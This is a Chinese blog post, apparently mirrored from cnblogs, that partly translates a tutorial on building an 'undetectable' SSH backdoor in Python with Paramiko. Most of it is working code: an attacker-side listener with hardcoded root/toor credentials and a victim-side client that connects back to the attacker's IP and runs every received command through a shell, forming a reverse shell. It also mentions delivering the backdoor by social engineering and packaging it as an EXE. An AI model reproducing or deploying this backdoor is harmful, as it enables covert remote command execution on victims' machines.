zoukankan      html  css  js  c++  java
  • 使用python创建一个检测不到的自定义SSH后门

          看到一篇不错的关于python ssh后门相关知识的文章,一边学习顺带部分翻译一下。原文地址:http://resources.infosecinstitute.com/creating-undetectable-custom-ssh-backdoor-python-z/。在《Black Hat Python Python Programming for Hackers and Pentesters》一书中,也有一个类似的demo,大家可以参考学习一下。

          方法:

          1.如何实施攻击;

          2.建立SSH隧道

          3.反弹Shell

          4.SFTP

          5.编写自定义的特性(抓取屏幕截图)

          6.把代码封装成EXE

          7.认证

          如何实施攻击

          关于实施攻击这一块,文中提到的是采用社会工程学,具体可以看原文。

          建立SSH隧道

          利用Paramiko库来建立SSH隧道。来看一下源码:

          服务端源码:

    #!/usr/bin/env python
    
    # __author__ = 'sniper.geek'
    
    import socket
    
    import paramiko
    
    import threading
    
    import sys
    
    host_key = paramiko.RSAKey(filename='/root/Desktop/test_rsa.key')
    
    class Server (paramiko.ServerInterface):
    
       def _init_(self):
    
           self.event = threading.Event()
    
       def check_channel_request(self, kind, chanid):
    
           if kind == 'session':
    
               return paramiko.OPEN_SUCCEEDED
    
           return paramiko.OPEN_FAILED_ADMINISTRATIVELY_PROHIBITED
    
       def check_auth_password(self, username, password):
    
           if (username == 'root') and (password == 'toor'):
    
               return paramiko.AUTH_SUCCESSFUL
    
           return paramiko.AUTH_FAILED
    
    try:
    
        sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    
        sock.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
    
        sock.bind(('10.0.2.15', 22))
    
        sock.listen(100)
    
        print '[+] Listening for connection ...'
    
        client, addr = sock.accept()
    
    except Exception, e:
    
        print '[-] Listen/bind/accept failed: ' + str(e)
    
        sys.exit(1)
    
    print '[+] Got a connection!'
    
    try:
    
        t = paramiko.Transport(client)
    
        try:
    
            t.load_server_moduli()
    
        except:
    
            print '[-] (Failed to load moduli -- gex will be unsupported.)'
    
            raise
    
        t.add_server_key(host_key)
    
        server = Server()
    
        try:
    
            t.start_server(server=server)
    
        except paramiko.SSHException, x:
    
            print '[-] SSH negotiation failed.'
    
        chan = t.accept(20)
    
        print '[+] Authenticated!'
    
        print chan.recv(1024)
    
        chan.send('Yeah i can see this')
    
    except Exception, e:
    
        print '[-] Caught exception: ' + str(e.__class__)+':'+str(e)
    
        try:
    
            t.close()
    
        except:
    
            pass
    
        sys.exit(1)

          代码开始定义了本地的RSA key,这个key用于签名和认证。在这里使用Paramiko包中包含的test_rsa.key。

          class Server定义了在服务器模式下控制Paramiko行为的接口,也包含处理来自客户端的请求函数。例如:“def check_auth_password”定义了在认证过程中,客户端的用户名和密码是否正确。

          在客户端请求一个信道的时候,服务端的“def check_channel_request”将被调用。

          客户端源码:

    #!/usr/bin/env python
    
    # __author__ = 'sniper.geek'
    
    import paramiko
    
    import threading
    
    client = paramiko.SSHClient()
    
    client.set_missing_host_key_policy(paramiko.AutoAddPolicy())
    
    client.connect('10.0.2.15', username='root', password='toor')
    
    chan = client.get_transport().open_session()
    
    chan.send('Hey i am connected :) ')
    
    print chan.recv(1024)
    
    client.close

          SSHClient()类负责大部分认证和开放信道的方面。

          paramiko.AutoAddPolicy()类自动增加主机名和服务器主机密钥到本地的“HostKeys”对象并且保存它。这样就不用担心你在第一次连接SSH服务器的时候,出现的 识别服务器密钥指纹的通知消息。这里的IP为我们的攻击者机器的IP地址。

          client.get_transport().open_session()向服务器请求一个类型为“session”的新信道。如果一切都顺利,我们会发送(“Hey i am connected:”)到服务器并且打印服务器发送过来的消息。

          DEMO演示:

          服务端监听:

    kali1

          客户端连接:

    win1

          服务端输出:

    kali2

          为了支持反弹shell的功能。在服务端需要做一些修改。增加下面的代码到‘chan.send(Yeah i can see this)’后面,最后整体代码如下:(黄色部分为增加的代码)

      1: #!/usr/bin/env python
    
      2: # __author__ = 'sniper.geek'
    
      3: 
    
      4: import socket
    
      5: import paramiko
    
      6: import threading
    
      7: import sys
    
      8: 
    
      9: host_key = paramiko.RSAKey(filename='/root/Desktop/test_rsa.key')
    
     10: 
    
     11: class Server (paramiko.ServerInterface):
    
     12:    def _init_(self):
    
     13:        self.event = threading.Event()
    
     14:    def check_channel_request(self, kind, chanid):
    
     15:        if kind == 'session':
    
     16:            return paramiko.OPEN_SUCCEEDED
    
     17:        return paramiko.OPEN_FAILED_ADMINISTRATIVELY_PROHIBITED
    
     18:    def check_auth_password(self, username, password):
    
     19:        if (username == 'root') and (password == 'toor'):
    
     20:            return paramiko.AUTH_SUCCESSFUL
    
     21:        return paramiko.AUTH_FAILED
    
     22: 
    
     23: try:
    
     24:     sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    
     25:     sock.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
    
     26:     sock.bind(('10.0.2.15', 22))
    
     27:     sock.listen(100)
    
     28:     print '[+] Listening for connection ...'
    
     29:     client, addr = sock.accept()
    
     30: except Exception, e:
    
     31:     print '[-] Listen/bind/accept failed: ' + str(e)
    
     32:     sys.exit(1)
    
     33: print '[+] Got a connection!'
    
     34: 
    
     35: try:
    
     36:     t = paramiko.Transport(client)
    
     37:     try:
    
     38:         t.load_server_moduli()
    
     39:     except:
    
     40:         print '[-] (Failed to load moduli -- gex will be unsupported.)'
    
     41:         raise
    
     42:     t.add_server_key(host_key)
    
     43:     server = Server()
    
     44:     try:
    
     45:         t.start_server(server=server)
    
     46:     except paramiko.SSHException, x:
    
     47:         print '[-] SSH negotiation failed.'
    
     48: 
    
     49:     chan = t.accept(20)
    
     50:     print '[+] Authenticated!'
    
     51:     print chan.recv(1024)
    
     52:     chan.send('Yeah i can see this')
    
     53:     while True:
    
     54:         command= raw_input("Enter command: ").strip('
    ')
    
     55:         chan.send(command)
    
     56:         print chan.recv(1024) + '
    '
    
     57: 
    
     58: except Exception, e:
    
     59:     print '[-] Caught exception: ' + str(e.__class__)+':'+str(e)
    
     60:     try:
    
     61:         t.close()
    
     62:     except:
    
     63:         pass
    
     64:     sys.exit(1)

          客户端代码在chan.recv(2048)后面增加如下代码,最后整体代码如下:(红色部分为增加的代码)

      1: #!/usr/bin/env python
    
      2: # __author__ = 'sniper.geek'
    
      3: 
    
      4: import paramiko
    
      5: import threading
    
      6: import subprocess
    
      7: 
    
      8: client = paramiko.SSHClient()
    
      9: client.set_missing_host_key_policy(paramiko.AutoAddPolicy())
    
     10: client.connect('10.0.2.15', username='root', password='toor')
    
     11: chan = client.get_transport().open_session()
    
     12: chan.send('Hey i am connected :) ')
    
     13: print chan.recv(1024)
    
     14: while True:
    
     15:     command = chan.recv(1024)
    
     16:     try:
    
     17:         CMD = subprocess.check_output(command, shell=True)
    
     18:         chan.send(CMD)
    
     19:     except Exception,e:
    
     20:         chan.send(str(e))

          接下来,再看一下演示:

          服务端:

    kali3

          客户端:

    win72

          这里有个问题,如果服务端终止服务,客户端会被挂起。可以在客户端try…except…之前加入一个判断,如果接收到的命令时exit,则退出,服务端也做同样的判断。

      1: #!/usr/bin/env python
    
      2: # __author__ = 'sniper.geek'
    
      3: 
    
      4: import paramiko
    
      5: import threading
    
      6: import subprocess
    
      7: 
    
      8: client = paramiko.SSHClient()
    
      9: client.set_missing_host_key_policy(paramiko.AutoAddPolicy())
    
     10: client.connect('192.168.107.128', username='root', password='toor')
    
     11: chan = client.get_transport().open_session()
    
     12: chan.send('Hey i am connected :) ')
    
     13: print chan.recv(1024)
    
     14: while True:
    
     15:     command = chan.recv(1024)
    
     16:     if 'exit' in command.rstrip('
    ').lower():
    
     17:        client.close
    
     18:        exit(1)
    
     19:     try:
    
     20:         CMD = subprocess.check_output(command, shell=True)
    
     21:         chan.send(CMD)
    
     22:     except Exception,e:
    
     23:         chan.send(str(e))
    
     24: client.close

     

  • 相关阅读:
    使用 asp.net mvc和 jQuery UI 控件包
    ServiceStack.Redis 使用教程
    HTC T8878刷机手册
    Entity Framework CodeFirst 文章汇集
    2011年Mono发展历程
    日志管理实用程序LogExpert
    使用 NuGet 管理项目库
    WCF 4.0路由服务Routing Service
    精进不休 .NET 4.0 (1) asp.net 4.0 新特性之web.config的改进, ViewStateMode, ClientIDMode, EnablePersistedSelection, 控件的其它一些改进
    精进不休 .NET 4.0 (7) ADO.NET Entity Framework 4.0 新特性
  • 原文地址:https://www.cnblogs.com/hiccup/p/5423972.html
Copyright © 2011-2022 走看看